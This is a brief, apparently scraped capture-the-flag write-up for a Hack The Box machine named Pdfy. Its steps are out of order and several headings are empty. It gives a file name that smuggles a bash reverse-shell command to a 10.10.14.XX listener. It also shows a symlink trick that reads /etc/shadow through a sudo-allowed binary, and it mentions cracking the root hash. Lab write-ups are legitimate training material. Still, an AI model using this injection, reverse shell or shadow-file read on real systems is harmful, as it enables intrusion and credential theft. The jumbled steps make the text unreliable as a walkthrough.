Pdfy Htb Writeup File

mv shell.pdf "shell.pdf; bash -c 'bash -i >& /dev/tcp/10.10.14.XX/4444 0>&1'" Upload → listener catches shell as www-data . Enumeration as www-data Check sudo rights:

ln -s /etc/shadow shadow.pdf Run:

Crack root hash with John the Ripper:

Directory scan:

sudo /usr/local/bin/pdfy Enter shadow.pdf → outputs /etc/shadow as text. Pdfy Htb Writeup